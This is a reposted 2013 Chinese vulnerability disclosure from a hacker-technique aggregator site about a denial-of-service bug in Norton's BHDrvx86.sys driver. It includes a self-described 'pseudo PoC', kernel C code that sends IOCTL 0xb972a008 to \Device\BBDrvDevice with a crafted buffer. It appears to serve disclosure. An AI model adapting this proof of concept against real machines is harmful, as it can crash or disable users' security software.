记录黑客技术中优秀的内容, 传播黑客文化,分享黑客技术精华

诺顿BHDrvx86.sys拒绝服务漏洞(附伪POC)

2013-11-18 12:55
BHDrvx86.sys一直问题不断,才修补了上一个版本,最新版的问题又来了
 
为什么叫伪POC呢?因为真POC可能得HOOK ZwDeviceIoControlFile修改值,而那样实在费力,直接ZwOpenFile \\Device\\BBDrvDevice是成功不了的,可能做了校验.我只为说明问题,所以省事点,据说不带POC不让过的.
 
问题出在发送IO 0xb972a008的时候,inputbuffer没处理好.当然能不能提权对这个bug而言真的毫无意义了。
 

BOOLEAN

SendInterface(

IN PCWSTR DeviceName,

IN ULONG IoControlCode,

IN PVOID Data,

IN ULONG DataLength

)

{

NTSTATUS ntStatus = STATUS_SUCCESS;

PFILE_OBJECT pNetObject = NULL;

OBJECT_ATTRIBUTES ObPassthru;

IO_STATUS_BLOCK NetStatusBlock;

UNICODE_STRING PassthruString;

HANDLE hNet =NULL;

BOOLEAN bRet = FALSE;



__try

{

RtlInitUnicodeString( &PassthruString, DeviceName);

InitializeObjectAttributes( &ObPassthru,&PassthruString,0,(HANDLE) NULL,(PSECURITY_DESCRIPTOR)NULL);



ntStatus = ZwOpenFile(&hNet,OBJ_CASE_INSENSITIVE,&ObPassthru,&NetStatusBlock,0,FILE_NON_DIRECTORY_FILE);

if (!NT_SUCCESS(ntStatus))

{

DbgPrint("[SendInterface] ZwOpenFile failed err=[0x%08x]\n", ntStatus);

__leave;

}

ntStatus = ObReferenceObjectByHandle(hNet,0,NULL,KernelMode,(PVOID *) &pNetObject,NULL );



if (!NT_SUCCESS(ntStatus))

{

DbgPrint("[SendInterface] ObReferenceObjectByHandle failed err=[0x%08x]\n", ntStatus);

ZwClose(hNet);

__leave;

}



ntStatus = ZwDeviceIoControlFile(hNet,NULL,NULL,NULL,&NetStatusBlock,IoControlCode,Data,DataLength,NULL,0);

ObDereferenceObject(pNetObject);



if (!NT_SUCCESS(ntStatus))

{

DbgPrint("[SendInterface] ZwDeviceIoControlFile failed err=[0x%08x]\n", ntStatus);

ZwClose(hNet);

__leave;

}



ZwClose(hNet);

bRet = TRUE;

}

__except(EXCEPTION_EXECUTE_HANDLER)

{

KdPrint(("[SendInterface]Memory access failed."));

}



return bRet;

}



SendInterface(L"\\Device\\BBDrvDevice",0xb972a008,(PVOID)0x02f0ade0,0x00000030);

 


知识来源: www.2cto.com/Article/201311/258164.html

阅读:73730 | 评论:0 | 标签:漏洞

想收藏或者和大家分享这篇好文章→复制链接地址

“诺顿BHDrvx86.sys拒绝服务漏洞(附伪POC)”共有0条留言

发表评论

姓名:

邮箱:

网址:

验证码:

公告

关注公众号hackdig,学习最新黑客技术

推广

工具

标签云